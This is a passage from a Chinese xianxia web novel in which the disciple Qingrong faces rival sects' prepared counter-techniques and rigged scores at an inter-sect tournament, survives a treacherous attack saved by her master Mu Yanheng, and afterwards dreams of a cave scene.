青容眼角抽了抽:“呃,山下学的一些小玩意,哄小姑娘开心用的,不值一提。”
“历练四年,净学些不着调的东西。”慕砚恒将裘衣拿回,神色淡然甚至带着一丝鄙视,“怪不得前几日满嘴胡言。”
“……”
怎么还在追究这事啊。
青容干巴巴道:“下次不说了。”
“晨练停一停,先把你的手养好,再去顾你的师妹。”慕砚恒瞥了一眼她的左手,“不过大概率暂时好不了了,徒儿准备什么时候松松右手的筋骨?”
“……”
此人果然十分记仇,只要有个事惹着他了,他就能把之前的事全部并一起轰出来。
真幼稚,青容暗自翻白眼。
慕砚恒不让她去晨练,也不让她乱走动,后面几天她只得老老实实待在栖星阁。虽然和秋锦说是可以来栖星阁找她,但秋锦显然畏惧栖星阁那尊大佛,也就一直没出现。
恍然间就到了仙门大比前日。
这次大比选在半月谷。
半月谷常年百花盛开,哪怕刚过严冬也依旧繁花似锦,入眼十分惊艳。
临霜教一行人御剑落地时,恰好刮起一阵风,初春的雪还停留在梢头,成千上万片花瓣同时震颤,风里掺杂着青草气的甜。
“这里真美。”青容情不自禁道。
陆怀夕在她身侧悄悄说:“半月谷女弟子居多,谷主也是女生,把门派打理的特别好,都快成景点了,若不是临霜教声名在外,我当初其实想去半月谷。”
“你这话被司教听见,她不得抓着你嚎一阵。”
“哎呀,这不是没去嘛,我还是第一次来半月谷,果然如传闻般养眼啊。”
接待他们的是几位女弟子,一行人被带至休憩的阁楼,同往常一样,人情世故由陵渊他们处理,弟子们只需自行玩乐,相互串门。
青容手上有伤,至今缠着绷带,欧阳晔也不敢再找她插旗,于是转而黏向陆怀夕。她身边难得清静,秋锦也就鼓起胆子靠了过去。
“师姐……”她试探道,“有一个招式我还是不太熟悉,你方便看一看吗?”
秋锦是从另一个院落寻过来的,那里的弟子都没有入选这次参与大比的名单,是作为观众而来。她年纪还小,入门时间也短,旷世奇才毕竟是少数,大部分弟子都得沉淀一两届才能有展现自己的机会。
青容没有半点被打扰的恼火,她很积极的纠正秋锦的动作,引得许多弟子前来围观,有趁机学习的,也有感慨青容不计前嫌的,总之就是青容哪里都好,是他们的表率。
一派宗门间欣欣向荣的和谐景象。
然而就在此时,院墙外突然传来一声嗤笑:“临霜教是没有长老教学吗?怎么一群人都听一个丫头乱教?尤其是没入选还要故作勤勉的。”
秋锦的肩膀明显瑟缩了一下,欧阳晔一皱眉刚准备骂,却被青容伸手拦住。
“手握紧些,剑要掉了。”青容淡淡道。
“啊?”秋锦慌忙检查自己的剑,“不会掉吧?”
“说你后面那个。”
霎时间,一道凌厉的剑气破空而出。
墙头上那个弟子还没反应过来,手中的长剑突然剧烈震颤,只见一道青光闪过。
“铮。”
他的长剑脱手而出,在空中划出一道弧线,直挺挺插在院中的青石板上,剑身颤动不已。
无人中途插手此事,围观的弟子大部分都抱着看静静热闹的心态,由着青容自己发挥,毕竟这附近都是临霜教的人,总不能让青容被欺负了去。
师妹嘛,年纪还小,闹腾闹腾也正常,尤其还是帮本门弟子报复回去,那他们更是举双手支持。
“正好,那你现在便教一教我,如何不让配剑脱手。”青容的声音平静得可怕。
她缓步走向那柄插在地上的剑,弟子们不由自主屏息。
“还你。”
青容随手一抛,那柄剑精准的飞回偷窥弟子手中,那人接住的瞬间,整把剑突然咔嚓一声。
断了。
那弟子面露惊骇,一时竟说不出话来。
“这次便算了,下次……”青容转身走回秋锦身边,淡淡道,“记得握紧些。”
整个院落鸦雀无声,直到那弟子狼狈逃走的脚步声远去,众人才恢复嬉笑的状态。秋锦呆呆看着青容,后者只是轻轻拍了拍她的肩膀:“继续吧,别管这些屁话,当狗叫就行。”
“……嗯。”秋锦像是发现了新大陆,眼中不由自主添了崇敬之意,“原来师姐这么生猛,我要继续向师姐学习!”
“好啊。”青容轻笑,“下次仙门大比,等你好消息。”
同一时间,远处阁楼上,几位长老正围在一起查看水镜,镜面呈现出的画面赫然是此刻青容的背影,其中一位紫袍长老捋须轻笑:“慕护教,你这徒弟着实有趣,护短的很。”
慕砚恒面不改色:“性子比较跳脱罢了,偶尔任性些也是情理之中,倒是贵派的弟子,怎的用起长剑了?”
“知己知彼百战不殆嘛,以往就数临霜教成绩最好,我便让他们
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得空练练剑,说不定更有机会破解你们的招式。”
慕砚恒一副了然模样,沉吟道:“哦,怪不得会偷看啊。”
“别说那么难听嘛,这叫学习,你们临霜教垄断仙门多年,总得让我们有点破除的梦想啊。”
正殿又是一阵笑声,慕砚恒却没笑,他眸光微敛,指尖在茶盏边缘轻轻一叩,不动声色偏头看去,只见陵渊和师语楼等人也是面色严肃,很显然,他们此时是同样的想法。
临霜教已经当了很久的仙门之首了,尤其是近些年来呈以垄断之势,相对应的,其他门派的不满情绪也日益增加。
魔宗没落已近百年,如今修真界并无纷争,和平之下,仙门之首本该承担的任务随之消散,当对应的收益与承担的责任不相匹配,就会出些幺蛾子。
这次的大比,怕是不复往日平淡。
…
青容这次没急着去看分组。
反正分在哪,她都不愁出线,如果说四年前她对自己的能力还没有什么清晰的认知,那么在经历那次大比后,她就差不多明白。
一招一式刻进骨子的外挂是不可匹敌的,尤其还是又沉淀了四年的外挂。
“哇,这次我俩不是一组了,太好了。”
程嘉长舒一口气,又蹭了两口青容带在路上吃的糖糕,甜腻的香气在唇齿间化开,她满足的眯起眼。
青容浅笑,晃了晃自己的手臂:“这四年我在山下,都没怎么练剑,加上如今带着伤,应该是软柿子才是。”
“你是软柿子,那我就是稀烂的柿子。”
程嘉哼哼两声,却忽的想起什么似的,左顾右盼确定没人注意这里,她将青容拽到一处假山后,压着声音道:“不过有件事不对劲。”
“嗯?”
“这次大比前几个月,师父经常去别的门派串门,有时候还会带回来几本古籍,她教了我们许多新的招式,以往从未见过,而且得空会尝试让我们练剑,你说,这是为什么?”
青容回想起昨日趴在墙上偷看的人,那时她就疑心除临霜教外怎么还有用剑的弟子,只是这不算大事,她也就没问慕砚恒。
“你的意思是,你们在偷学临霜教的剑招?”
这话说的毫不客气,程嘉却不恼,甚至陷入深思:“不像吧。”
她不自觉执鞭,模仿起新学的动作,蓄力起势,却在关键时刻手腕一翻:“就这样,我也不知这一下的作用是什么,反而会撤力,但师父就是这么教的,这……好像是有点剑法的影子。”
青容蹙眉:“麻烦你再演示一下。”
程嘉照做。
她反复看了三四次,终于察觉到一丝异常。
远处传来弟子们的喧闹声,更显得这个角落安静得可怕,青容面色不大好看,她慢慢将剩下的糖糕包好,油纸发出轻微的沙沙声。
“这件事先别告诉别人。”
“怎……怎么了?真偷学了吗?”程嘉有些慌张。
如果是真的,那半月谷的做法属实不地道,两派之间因此撕破脸皮都有可能。
“不是偷学。”
程嘉一口气还没松出来。
“这是专门破解临霜剑法起手式的。”青容道。
46. 变式
第一大轮暂时没有出现预料之外的事。
青容像上一届一样,三轮获胜直接晋级,她所猜想的事件并没有发生,临霜教弟子情理之中以绝对碾压之势占了晋级的主导,慕砚恒的脸依旧让新弟子连连惊叹,江溪闻上场时女弟子的欢呼和上一届没什么两样,半月谷谷主的八卦一如既往的流传甚广,一切似乎都在按照既定的轨道流转。
“应该是我们想错了吧……”程嘉小声道。
她俩单独坐在了一处,青容很难得的没有喊上陆怀夕一起,陆怀夕还抱怨了几句,抨击她有了其他姐妹就不要同门师姐的花心之举。
青容摇摇头。
就以程嘉前几日示范的招数来看,这个破解起手式的鞭法已经成型了,她可不信半月谷这么忙活几个月,就是私底下打木桩出气用。
果然,第二大轮时,端倪渐显。
青容站在场边,指尖有意无意的摩挲着剑柄。台上正在比试的是临霜教一名普通弟子和半月谷的精英弟子,起初只是寻常过招,直到——
“小心!”观战席上突然有人惊呼。
半月谷弟子手中长鞭突然一转,以一个刁钻的角度穿过剑网,眼看就要触碰到未设防的区域,临霜教弟子见此仓皇变招,却见那鞭梢也跟着变化,每一式都精准指向他剑招转换的间隙。
一声脆响,临霜教弟子手中长剑应声而落。
场下一片哗然,连礼貌性的掌声都忘了给,那弟子也是面色迷惘,好像连他自己也不明白怎么瞬息之间成了这样。
“怎的忽然输了?”
“正常吧,半月谷那边可是精英弟子,只是……这确实太突然了些,好像只是一瞬间,就完全落于下风了。”
青容眯起眼睛。
他们终究还是沉不住气了。
这一招,正是程嘉演示过的破解之法,只是更加狠辣老练,也更完善。
“承让。”半月谷弟子拱手,嘴角带着一丝若有似无的笑意,那临霜弟子心里隐隐觉得不对,但担心被人说输不起,终究也没抗争什么。
接下来的几场比试,类似的情形不断上演,各派弟子仿佛突然开了窍,总在处于劣势时,突然使出专门针对临霜剑法的奇招。
招数看似平平无奇,却能峰回路转,四两拨千斤的完全将场面颠倒过来。
“这是怎么了……”临霜教弟子毕竟不是傻子,这一来一去,已有许多人看出端倪。
“这变招太快,就跟知道我们接下来的路数一样,其他门派对我们的出招习惯已经研究到这种地步了?”
“这不对吧,针对得也太精准了,这哪是了解习惯就能应对出来的?”
虽然临霜教凭借深厚底蕴大多险胜,但已不复先前的碾压之势。
“看来他们憋到第二轮才露出真本事。”程嘉凑过来低语,“但是很奇怪,师父为什么没告诉我这些,我才是亲传弟子好不好。”
“因为你师父觉得你和我关系不错吧,怕你当叛徒。”
“……”
这话说的,她现在不已经是叛徒了吗。
青容目光落在远处半月谷的坐席区,谷主夏扶笙正与几位长老低声交谈,不时朝这边投来意味深长的一瞥。
“下一轮,临霜教青容,对战,恒山李观。”
青容没多说什么,她整了整衣袖,缓步走向自己的比试场地,路过慕砚恒所在的观战台时,两人视线短暂相接。
他微不可察的点了点头。
青容持剑踏上平台,四周的议论声忽然低了下去,因为他们发现,青容换剑了。
之前第一大轮时还是用的木剑,而这次,她带上了鎏虹。
她的对手是恒山这一代最出色的弟子之一,李观。
“青容师妹。”李观拱手行礼,眼神却飘向她缚着绷带的左手,“听闻师妹左手有伤,不知今日……”
“不劳费心。”青容依旧左手持剑,神态自若,“请。”
钟鼓声刚落,李观便踏步欺身而上,丝毫没有顾忌对方年纪小的让招。他右手短刺直取青容面门,左手却藏在袖中,蓄势待发。
青容不避不闪,长剑划出一道优美的弧线,这是临霜教最标准的如教科书般的起手式。
李观眼中精光一闪。
和剑谱所示的一模一样,就是现在!
他袖中左手短刺突然变招,以一个刁钻的角度挑出,恰好穿过施压的剑意,眼看就能抓取一个完美的破绽。
观战席上,程嘉猛地攥紧了衣角。
短刺和长鞭,这两个毫无瓜葛的武器,竟让她在一瞬间觉出有几分相似。
然而预想中的破招并未出现。
青容的剑势突然由柔转刚,那道本该飘逸的剑光顷刻间化成了灌聚内力的破空一击。
“怎……”李观大惊失色,仓促间双手短刺交叉格挡。
剑气与金属相撞,爆发出震耳欲聋的轰鸣。
待烟尘散去,只见李观半跪在地,双刺已掉落在地,而青容的剑尖,正轻轻点在他的喉结处。
一式之间,胜负已分。
全场鸦雀无声,临霜教弟子更是瞠目结舌。
这突如其来的一式,与任何已知的临霜剑法都截然不同。
这是从哪学来的?护教私授吗?
慕砚恒在观战席上缓缓起身,他的目光扫过各派坐席区,最后落在恒山山主身上。
青容收剑入鞘,向李观拱手致意,对方脸色不太好看,但还是规规矩矩回了礼。
“承让。”青容转身准备下台,却听见身后传来一声冷哼。
“临霜教的剑法也不过如此。“李观压低声音,“若不是那招突然变式……”
他又怎会如此一败涂地?
青容脚步顿住。
“李师兄有何指教?“她毫不客气地回头,语气平静,却分毫不掩追究之意。
李观没想到她真有当众让他难堪的念头,愣了愣,登时后悔刚刚的嘀咕,又故作轻松拍了拍衣袖上的灰尘:“没什么,只是在下从未见过此等剑法变式,顿感武学之精妙,忽然觉得贵派过去习惯把剑法藏着掖着,未免有些小家子气。”
台下顿时一片哗然,弟子们交头接耳,不时朝这边投来异样的目光。
谁没事把独家招式展示出来啊,这不有病吗?
青容笑了笑,丝毫不被言语影响:“剑法贵在精妙不在多,李师兄若是有兴趣,大比结束后可以来藏经阁一观。”
这话说得客气,却让李观脸色更加难看。
谁都知道,临霜教的藏经阁虽然对外开放借阅,但真正的核心剑谱从不外传,本门派以外的弟子也难以进入山门,若想借书,必须上告自己门派的掌门,再由自家掌门联系临霜掌教陵渊才能借阅。
又麻烦低效,又看不到真正想看的东西。
“师妹说笑了。“李观阴阳怪气地拱手,“我们恒山功夫粗浅,怎配看贵派的精妙剑法?”
“不配看……”青容指尖轻轻敲击剑柄,突然抬眸,“不也看了吗?”
她话音未落,整个比武台的温度骤降。
慕砚恒不知何时已然起身,银白衣袍无风自动,他就这么负手立在观战席最高处,目光如炬,打量般一寸寸掠过李观的全身。
李观后颈瞬间沁出一层冷汗,他下意识后退半步,那些准备好的讥讽在舌尖转了个圈,最终化作一声含糊的干笑。
他嘴硬,但不代表他蠢。
和青容吵闹,顶多算是同辈间的纷争,大不了落个输不起的名头,不痛不痒的,可若是和慕砚恒起争执……
那就难以想象是什么下场了。
台下的窃窃
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私语也随着慕砚恒的起身戛然而止,各派长老交换着眼色,有些年轻弟子甚至不自觉屏住了呼吸。
场面一时安静下来,青容了然,也没再戳穿,直接把这方擂台留给了慕砚恒。
恒山山主率先打破沉寂,心知争也争不过,干脆便顺着刚刚的话题:“近年来各派都在精进武学,临霜教若是一直固步自封,恐怕……”
“山主多虑了。”慕砚恒淡淡开口,“待仙门大比结束,临霜教就会在藏经阁设立交流区,欢迎各派前来切磋学习。”
“……”
没想到慕砚恒竟真的应了,其他门派的人都怔了怔,纷纷望向临霜的掌教与司教,然而这两位只是平静看着这一切,并没有反驳的意思。
“只不过……”慕砚恒眸色深沉,“既然是交流,自然要互通有无,其他门派的招式,我们也很感兴趣,尤其是恒山。”
他故意将话音停顿片刻,又道:“而在交流之前,若各门派无意间用出了我派的剑法……那便说明,有些人越过了既定的约定,我教定追查到底。”
三下五除二的,竟反过来封住了众门派筹算已久的阴谋。
恒山山主的笑容僵在脸上,现场气氛一时有些凝滞,直到敲鼓弟子大着胆子高声宣布下一场比试开始,才打破了这种微妙的局面。
“你师父这是……”下台后,程嘉小声问道。
青容了然笑了笑:“既然他们处心积虑想学,不如摆在明面上,顺便看看,他们还想做什么。”
程嘉顺着她的视线看去,正好捕捉到各派长老交换眼神的瞬间,她忽然明白了什么,轻轻点头。
临霜剑法外泄已成定局,教内必有内应,与其被动追查,不如主动破局。
那么在这之后,其他门派再有任何异常的行为,临霜教都可以顺理成章主动出击。
果然,这局之后,那些异样的破招之法消停了许多。
可青容很快发现了一个新的问题。
有两组,三四名间的分差拉得很大。
按照惯例,大比第二轮采用积分制,各组前四名往往厮杀激烈,分差多在毫厘之间。
可这一届却格外反常。
但凡组内有临霜弟子排名第四的,前三名的积分总会莫名其妙的与其拉开一大截,仿佛有人在刻意将临霜弟子挤出晋级区。
“你看这组,第一名八分,拿七分并列二三名,多恐怖。”程嘉指着名单,“第四名,就是你们临霜的弟子,被甩了三分之远,排在后面的人甚至有一分未拿的。”
青容的指尖无意识摩挲着名单边缘,正欲开口,肩头突然被人轻轻一拍。
龚柏清不知何时站在了她身后,素来温润的眉宇罕见的蹙起:“师妹,这届大比不对劲,你淘汰赛要当心。”
青容点点头:“大师兄也看出来了。”
“嗯。”
龚柏清视线扫过程嘉,低头表示歉意,后者识趣地起身:“你们聊,我去别的地方看看。”
待程嘉走远,龚柏清才在青容身旁坐下:“他们在控分。”
“我知道。”青容展开最终的对战名单,“这次晋级的临霜教弟子只有八个,往届都有十多个。”
用了这些阴招,临霜教尚且占了半数,也难怪其他四派嫉妒不满。
“他们倒是串通好下了血本。”龚柏清咬牙,“可怜了排列第四的两个师弟,我已去询问过他二人,他们还算心态平和,也就幸好他二人还年轻,下届还有机会,否则我一定禀报师父,戳穿此事。”
“掌教应该是知晓的,但此事不好立即揭发。”
青容收回名单,神色难得决绝:“本不该属于这一轮的人,也没有本事继续走下去,师兄,我们能做的,是一直赢,赢下来,让那些人明白……就算用尽龌龊手段,也动摇不了临霜教的根基。”
47. 突袭
刻意的控分拦不住能力绝对领先的人。
这是青容第一次踏入仙门大比的淘汰赛,以小组第一名的身份。
上一届她因意外被迫终止自己的晋级之路,令临霜教上下惋惜了好些时日,因此第三大轮开打前的晨曦下,她的院落里时常传来好一阵叮嘱。
“师妹,你要小心。”
“师妹,他们的招数有时候怪怪的,你一定要当心,不要着了他们的道。”
“师妹,保护自己,不要受伤。”
“师妹……”
青容被团团围住,耳边尽是师兄师姐们的絮絮叨叨,甚至欧阳晔还在给她递暗器,青容被吵得头疼,偏又只能笑着接受,内心皱成苦瓜似的,恨不得当场装晕脱身。
直到晨雾中传来一阵规律的脚步声,人群才骤然安静下来。
慕砚恒一袭墨色锦袍立于院门前,拖长的衣摆处用冰蚕银线绣着连绵的云纹,行走间在光照下,流淌着泠泠清辉。
他难得一身玄色,比白衣时更多了分深沉与矜贵。
众弟子慌忙行礼,他略一颔首,人群便如潮水般退开。
慕砚恒丝毫不见外的直接坐到青容身侧,那身华贵的正装免不了沾上石凳角落的灰尘,他却浑不在意,言语也分毫不避讳:“你有几日没来寻为师了。”
语出惊人,吓得众弟子又散开了一点。
青容故作懵懂:“知晓师父心中有事,也在寻解决之法,便没来打扰师父。”
“这会倒是懂事上了。”慕砚恒却没有欣慰之意,反而瞧着不是很开心。
青容撇撇嘴,轻轻拉住慕砚恒的衣袖:“这届大比过于复杂,徒儿最近也迷惘的很,冷落师父,是徒儿的过错。”
慕砚恒:“……”
这话说的怎么那么奇特呢。
他沉默片刻,瞥了眼青容背在身后的剑:“自己多当心,不过那些人企图找到公式以破解临霜剑法,也是……蠢得出奇,若不是开头的那些弟子没做准备,他们的计划从一开始就会落空。”
剑法武学之精妙,哪是凭借公式就可以破除的?
“无妨的,师父,我会替他们出气。”
朝阳穿透云层,将师徒二人的影子投在院落的青石上,青容的指尖停留在剑柄末端,神情淡然,眸中却如灼着暗火:“我会让他们知道,临霜剑法……不是什么人都能染指的。”
…
“你……怎么会……怎么都对你没用……”
李观的声音几乎是从牙缝里挤出来的,握着短刺的指节因过度用力而泛白,额角也渗出细密的汗珠。
青容的剑气层层压来,逼得他不得不连连后退。
他二人好巧不巧,第二大轮短暂又不愉快的相遇后,又在淘汰赛对上了,也勉强能算另类的缘分。
上一轮的惨败让李观有所收敛,此刻他全神贯注盯着青容的每一个细微动作,集中精神的同时,以事先研究好的破招之法逐渐寻找机会。
这也是山主原本教他的,只是第一回他秉着胜券在握的心,过于轻敌了。
两人本打的有来有回,李观左手短刺蓄势待发,青容的剑招的确都有在剑谱上看到过,山主所教的对应解法已在他心中演练数次,只待一个发挥的时机。
终于,他看到了机会。
长剑略过他的肩侧,与此同时,李观总算寻到了青容的破绽,他眸中一喜,近乎是迫不及待的将左手刺出,仿着破解之式准备一举拿下。
然而下一刻,青容变招了。
本留出的破绽的确还在,然而青容的剑更快,剑刃在手腕的转动下,竟就这么刺了回来。
李观只得收回攻势,改为防御姿态。
两人又陷入一番焦灼。
露破绽,再顺势反击,这样的场景发生了一次又一次,李观始终没能真正占到便宜,倒是青容似是摸透了他的套路,转而开始发力。
攻守转换。
直至此刻,李观的后背早已被冷汗浸透,握着短刺的手微微发颤,他死死盯着对面执剑而立的青容,喉结不自觉的滚动了一下。
明明已经将她的剑路研究得透彻,明明山主亲授的破解之法已经演练过千百遍……
可现在,所有的准备都成了笑话。
台下观战的各派弟子早已屏住呼吸,恒山的弟子们挤在最前排,一个个瞪大眼睛,脸上写满惊愕。
他们大部分人亲眼见过李观是如何在山主的指导下一招一式拆解临霜剑法的,可现在……
“怎么回事?”一个年轻弟子忍不住拽了拽身旁师兄的衣袖,“李师兄怎么完全被压制了?”
那师兄眉头紧锁,没有回答。
青容的剑又一次刺来,一道寒光直取心口,李观立刻侧身短刺斜挑,这正巧是破解此招的最佳角度,他的动作精准利落,引得台下几位长老微微颔首。
“咦?”观战席上却突然响起惊疑声。
只见青容的手腕忽然一翻,那看似直来直往的一剑竟在半空划出一道诡异的弧线,剑锋灵活的绕过李观的格挡,直取咽喉。
“当心!”恒山山主不由自主发出惊呼。
李观大骇,仓皇后仰,剑尖擦着他的下巴掠过,登时多出一道浅浅的血痕。
台下传来一阵倒吸冷气的声音。
“这……”扶摇宗的一位长老猛然站起身,“这根本不是临霜剑法!”
弟子们面面相觑,有人小声嘀咕:“可这起手的前半段分明就在剑谱上见过啊……”
李观还没从方才的惊险中回神,青容的剑势又变,方才凌厉的直刺突然变得柔而快,如同一场连绵细雨将人笼罩其中,压的人喘不过气。
他拼命回想破解之法,却发现青容的每一式都有剑谱上的影子,可又不是完全一样,一旦细节产生偏差,公式便会完全失效,只余下被动的狼狈。
“砰!”
短刺脱手飞出,砸在石板上发出清脆的声响,整个擂台瞬间鸦雀无声。
李观僵在原地,喉间抵着的剑尖冰凉而刺骨。
台下恒山的弟子们一个个面如土色。
“为什么……”李观声音沙哑,“为什么这些招式都对你无用……”
青容收剑,颇为淡然地行了个礼,面上却无半分谦逊之意。
“破绽是留给死人的。”她的声音不大,却格外清晰,“而活人,才会变通。”
掌握了破招的公式又如何?
破的是剑式,又不是持剑的人。
短暂的寂静后,观战席临霜教的方向顿时爆发出雷鸣般的喝彩,早已看出异样的临霜弟子们激动地站起身,恨不得冲上台好好庆祝一番,出了这口恶气。
天杀的玩意,真以为破了剑法就有用吗?还不是被他们师妹耍的团团转,不过如此,不过如此啊。
听到动静,青容朝同门的方向眨了眨眼,神态狡黠灵动,显出几分少女的活泼来,与方才比试时的老练狠厉判若两人。
她信步走向台边,衣袂翩跹,阳光为她勾勒出一道金色的轮廓。
明媚又灿烂。
高台之上,慕砚恒负手而立,他深邃的目光追随着那道白色的身影,眼底难得慷慨的闪过一丝的柔和。
青容似有所感,忽然抬头,隔着喧嚣的人群与他四目相对,她轻轻一笑,一副耀武扬威的模样。
慕砚恒微
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微挑眉,点了点头以示回应。
还真挺厉害,他想。
他这徒弟比他想象的还要厉害得多。
而不起眼的另一边,李观站在原地,脸色阴沉得可怕,握紧短刺的手指微微发颤。
连着两次如此,这回更是被踩着淘汰,他被师父寄予厚望,却只得到这般难堪的结果,来日回山,怕是再无他的翻身之地。
凭什么?他想。
数月来,他不分昼夜废寝忘食的学习破招之法,比门派的其他任何弟子都要努力,凭什么都已经练到了这般地步了,他还是会输,而且是输的最难看的那个。
“不过是个仗着师门威风的丫头……”他低声咒骂,眼中闪过一丝狠色。
就在青容即将踏下台阶的同时。
恒山山主猛然站起:“住手!”
短刺裹挟着凌厉的劲风,直袭青容后心,李观眼中翻涌着不甘与怨毒,死死盯着那道渐行渐远的背影。
临霜教的师兄师姐们向来很友好,偶尔的摩擦也都是小孩子过家家般的出气,青容根本没预料到这仙门竟真会有人如此恶毒,她没有做分毫防备,待她察觉异样时,那短刺已贴近她的心口后侧。
千钧一发之际。
一道箭鸣撕裂长空。
观战高台之上,慕砚恒骤然起身,玄色大氅随动作翻飞而起。
箭镞精准击中短刺中央,余势不减直接钉入李观腿侧的石板,隐约间竟结出一层薄冰。
全场死寂。
有胆子大的弟子偷偷望向高台,几乎屏息,好像在此刻发出一丁点动静都会惹来麻烦,包括自己的呼吸声。
慕砚恒仍保持着开弓的姿势,衣摆翻涌,披着轻裘的身形颀长而伟岸,如墨的长发被风拂起,衬得那张俊美如谪仙的面容愈发凌厉。
原本平静的眸子此刻泛着冰冷的幽光,他薄唇紧抿,看向李观的眼神带着许多弟子从未见过的狠戾。
“恒山真是好做派。”慕砚恒执着弓箭,缓缓踱步至台上,“切磋落败,竟想要了对手性命。”
恒山本就以快为长,若非他及时察觉李观状态不对,提前做了准备,这突如其来的一刺,以这个距离,没有任何人能挡住。
短刺锋利,下手阴毒,硬接这一下,是真有可能会丧命的。
众目睽睽,竟有人胆敢要他徒弟的命。
恒山山主面色发白,他张了张嘴,喉间却干涩得发不出声音。
从李观出手的那一瞬开始,恒山便没有其他路可选,如此恶劣的行径,别说逐出门派,直接废去修为被扣押到临霜教都不为过。
“师妹!”临霜教弟子再顾不上什么规矩,连连冲上台,“师妹你怎么样了?”
一部分弟子围着青容,另一部分拔出剑直奔李观而去,又被更理智的同门弟子拦了下来。
而对青容来说,此刻的一切都是模糊的,耳边是阵阵模糊的嗡鸣,她浑身僵住,脊骨发麻,气息倒行逆施,只觉眼前一片漆黑,竟就这样晕了过去。
陆怀夕是离得最近的,她手忙脚乱将青容抱在怀里,近乎急出哭腔:“师妹你别吓我啊。”
“她不会有事的。”江溪闻安慰道,“护教出手及时,那短刺并未触及肉身,师妹应当只是受了惊吓。”
他们也受了惊吓,若不是各大派的掌门长老都在……这李观,今日绝不会竖着离开这里。
而存了这个念头的绝不仅仅只有临霜教的弟子。
慕砚恒余光瞥见青容晕倒,他深吸口气,眸光再次一冷。
“护教!”这回连陵渊都惊呼出声。
慕砚恒竟再次张弓搭箭,这一次,他对准了李观的眉心。
48. 故梦
青容的意识浮浮沉沉,半梦半醒间似有潮湿的雨气侵入梦境。
恍惚间,她看见自己与一道修长身影被困在昏暗的山洞里,石壁上凝结的水珠缓缓坠落。火光摇曳,映得那人侧脸明灭不定。
“还冷吗?”
低语传来,却像是隔着很远的距离,她低头,发现自己正披着一件不大合身的白色外袍,指尖停留在衣襟处的绣纹上,有些凉意。
她努力想看清说话之人的面容,视线却像蒙着一层水雾,如远处淅淅沥沥的雨。
那人似乎察觉到她的视线,擦剑的动作微微一顿,片刻的静默后,他放下长剑,朝她走来。
衣摆扫过地面的砂石,发出细微的摩擦声。
他的身影笼罩下来,遮住了跳动的火光,青容感觉到一只微凉的手悬在她的额前,似乎想试探她的体温,却又在将触未触时蜷起,像是在克制什么。
忽然,一道惊雷劈开雨幕,将整个山洞笼在朦胧的银光里。
近处石壁水珠折射出细碎的微光,恍然间,她正对上那双近在咫尺的眼眸。
那一瞬,她看到对方眼底翻涌的暗色,宛如冰川之下压抑了千百年的一丝炽火。
她想伸手去触碰,整场梦却突然褪色,最后消散的,是那人袖口一缕将散未散的檀香。
…
“醒了?”
青容睁眼时,慕砚恒正端着刚煎好的药坐在床畔,瓷碗上升腾的热气模糊了他的面容,竟显出几分温和。
窗外树影交错,将月光筛进屋内,光影流动间,恰似梦中未燃尽的篝火。
她本就不大清醒的意识更是一片混沌。
“你是谁……”她喃喃。
慕砚恒执勺的手一僵:“什么?”
瓷勺与碗壁相碰,清脆的声响在此刻显得格外刺耳,青容骤然回神。
“师父。”她有气无力唤了一声,证明自己没失忆。
慕砚恒神色怪异地瞥她一眼,没多说什么,只是垂眸搅动汤药。
又是片刻过去,青容彻底清醒,她忆起晕倒前的事,忍不住道:“这李观,真是胆大包天,众目睽睽之下敢下如此毒手。”
季焱只是行差踏错,而李观是真的想要她的命。
“他已被押入临霜教地牢。”慕砚恒将药碗递来,“等大比结束,你身体好些,我带你去地牢见他,任你处置。”
青容捏着鼻子将汤药喝下,苦涩的药味让她忍不住蹙眉。
“不过。”慕砚恒忽然开口,目光落在她脸上,“那短刺并未伤到你,你为何晕厥?”
旁人只道青容是被吓晕的,青容那发烧晕厥但身体并无大碍的状况也的确像是吓到了,可他总觉得不太对。
初见时,青容能在杀招下屡屡寻出生机,崖边遇刺,她也没有半分畏惧,她那么小的时候就有勇气冲入火海将他救出,甚至不久前,他在深山中突袭她,哪怕被压制,她也没有任何慌乱的表现。
她绝不是胆小之人,哪是被偷袭就会吓晕的?正常来说她应该回头骂两句,再用剑戳两下解气才是。
青容避开他的视线,随口搪塞:“徒儿最近身体不好,有时候会头晕,师父你也是知道的。”
她当然不可能吐露真正的缘由。
李观扔出短刺的那一瞬间,她体内的仙力本源爆发了。
鎏虹为了她的安全,本来直接启用了恢复本源的禁制,然而见慕砚恒出手后,这珍贵的禁制在刹那间又被取消。
她的身体无法承受这短时间内的急剧变化,才会导致晕厥了半日。
这话真假参半,不过慕砚恒曾经看到过青容险些摔倒的样子,便也信了七八分,他噎了噎:“那又是为何头晕?”
“许是最近修炼过度,休息一段时间便好,无妨的。”青容的视线定在窗外,言语毫不客气,“天色已晚,师父早些歇息吧。”
醒了就赶人,可谓是非常无情。
但夜已深,继续待在这也确实不妥,慕砚恒拿她没法,只得留几句交代:“明日你对战本门弟子,可以缓口气,晚饭稍后有人给你送来,还有。”他顿了顿,“恭喜你,晋升高阶弟子。”
门扉轻合,远处山峦在月光下泛着淡淡的青色。
青容望着朦胧的山影,指尖无意识的摩挲着瓷碗边缘,思绪飘的很远。
“鎏虹。”她轻声唤道。
识海中的声音响应很快:“嗯?”
“我刚刚梦到些从未见过的画面。”青容微顿,“不像是寻常梦境。”
忽然刮来一阵风,窗外的树影剧烈摇晃起来,惊起几只夜栖的雀鸟。
“容容,你最近确实得多休息,本源异动,气海失调,导致意识偶尔混沌是正常的,也是怪我,当时一时情急,我早该想到有仙尊在,你是不会有事的。”
鎏虹的声音很温和,却不着痕迹的转开话题。
青容垂眸:“嗯。”
也确实,凡间这些年,她梦到过许多乱七八糟的事,若每件都如此较真,每个出现在梦中的人都得搜寻一番,那她没等历完劫就得累死。
“修行路上,最忌执着于虚幻之事,不过今晚怕是暂时睡不着了,那就……”青容闭眼盘腿,“继续修炼!”
鎏虹:“……”
简直是要把其他人卷飞了。
…
下一轮对战,慕砚恒所说的同门,是陆怀夕。
陆怀夕没有拦住她继续向前的路。
“师姐收手了。”下台后,青容直言道。
陆怀夕眨了眨眼:“啊?我收手了?”
“……”青容无奈一笑,一副看穿的神情,“我露出的破绽,师姐全都视而不见。”
“嘶,有没有一种可能……是我不敢。”陆怀夕几乎要翻白眼,“你和其他人比赛的时候,我全程盯着你,你就喜欢故意露破绽惹人上钩,再反手一剑定胜负,我才不当这个冤大头。”
青容哭笑不得:“那如果破绽是真的呢?”
“不敢赌啊,你这打法,打着打着对手自己心态先崩了,哎呀,纯欺负人。”
俩人笑着拌嘴,欧阳晔凑过来插科打诨:“小师妹进四强了,下一轮要打四方阁的人,那四方阁可是其他门派的独苗苗了,师妹你要多注意,小心他用阴招。”
